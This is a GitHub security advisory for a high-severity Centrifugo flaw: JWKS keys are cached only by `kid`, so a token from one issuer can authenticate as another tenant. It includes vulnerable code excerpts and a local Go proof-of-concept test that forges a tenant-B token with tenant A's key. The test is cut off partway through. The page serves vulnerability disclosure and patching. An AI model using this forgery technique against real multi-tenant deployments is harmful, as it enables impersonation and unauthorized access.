GitHub Advisoryadvisory · Go
GHSA-g6vg-wj8f-48cj Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass
HIGH
Official page ↗
- Aliases
- CVE-2026-49998
- Ecosystem
- Go
- Packages
- github.com/centrifugal/centrifugo/v6, github.com/centrifugal/centrifugo/v5, github.com/centrifugal/centrifugo/v4, github.com/centrifugal/centrifugo/v3, github.com/centrifugal/centrifugo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-347
- Reviewed
- 2026-07-01
Affected packages
• Go github.com/centrifugal/centrifugo/v6: < 6.8.1 → fixed in 6.8.1
• Go github.com/centrifugal/centrifugo/v5: <= 5.4.9 (no fix yet)
• Go github.com/centrifugal/centrifugo/v4: <= 4.1.5 (no fix yet)
• Go github.com/centrifugal/centrifugo/v3: <= 3.2.3 (no fix yet)
• Go github.com/centrifugal/centrifugo: <= 2.4.0 (no fix yet)
Description
Summary
Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.
In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.
Details
The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:
• `client.token.jwks_public_endpoint`
• `client.subscription_token.jwks_public_endpoint`
Relevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.
External clients control JWT connection and subscription tokens:
• Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.
• Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.
• Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.
The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:
• `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.
• `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.
The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:
```go
func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
kid := token.Header().KeyID
key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)
```
`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:
```go
func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
if kid == "" {
return nil, ErrKeyIDNotProvided
}
if m.useCache {
key, err := m.cache.Get(kid)
if err == nil {
return key, nil
}
}
v, err, _ := m.group.Do(kid, func() (any, error) {
return m.fetchKey(ctx, kid, tokenVars)
})
```
The resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:
```go
func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
jwkURL := m.url.ExecuteString(tokenVars)
...
req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)
```
The TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:
```go
func (tc *TTLCache) Add(key *JWK) error {
...
tc.items[key.Kid] = item
}
func (tc *TTLCache) Get(kid string) (*JWK, error) {
...
item, ok := tc.items[kid]
```
As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.
I also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?Ptenant-a|tenant-b)$`.
PoC
This is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.
From a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:
```go
package jwtverify
import (
"crypto/rsa"
"encoding/json"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"time"
"github.com/centrifugal/centrifugo/v6/internal/config"
"github.com/cristalhq/jwt/v5"
"github.com/stretchr/testify/require"
)
func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
t.Helper()
resp := map[string]any{
"keys": []map[string]string{
{
"alg": "RS256",
"kty": "RSA",
"use": "sig",
"kid": kid,
"n": encodeToString(pubKey.N.Bytes()),
"e": encodeUint64ToString(uint64(pubKey.E)),
},
},
}
w.Header().Set("Content-Type", "application/json")
require.NoError(t, json.NewEncoder(w).Encode(resp))
}
func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
t.Helper()
signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
require.NoError(t, err)
builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
claims := &ConnectTokenClaims{
Base64Info: "e30=",
RegisteredClaims: jwt.RegisteredClaims{
Subject: user,
Issuer: issuer,
ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
},
}
token, err := builder.Build(claims)
require.NoError(t, err)
return token.String()
}
func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
const kid = "shared-kid"
tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)
var tenantARequests int32
var tenantBRequests int32
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/tenant-a/jwks.json":
atomic.AddInt32(&tenantARequests, 1)
writeRSAJWKS(t, w, tenantAPublicKey, kid)
case "/tenant-b/jwks.json":
atomic.AddInt32(&tenantBRequests, 1)
writeRSAJWKS(t, w, tenantBPublicKey, kid)
default:
http.NotFound(w, r)
}
}))
defer ts.Close()
cfg := config.DefaultConfig()
cfgContainer, err := config.NewContainer(cfg)
require.NoError(t, err)
newVerifier := func() *VerifierJWT {
verifier, err := NewTokenVerifierJWT(VerifierConfig{
JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
IssuerRegex: `^(?Ptenant-a|tenant-b)$`,
}, cfgContainer)
require.NoError(t, err)
return verifier
}
legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)
ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
require.NoError(t, err)
require.Equal(t, "tenant-b-user", ct.UserID)
_, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
require.Error(t, err)
verifier := new…
Related
Alias · CVE (1)
- CVE-2026-49998 Centrifugo is an open-source scalable real-time messaging server. vulnerability
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness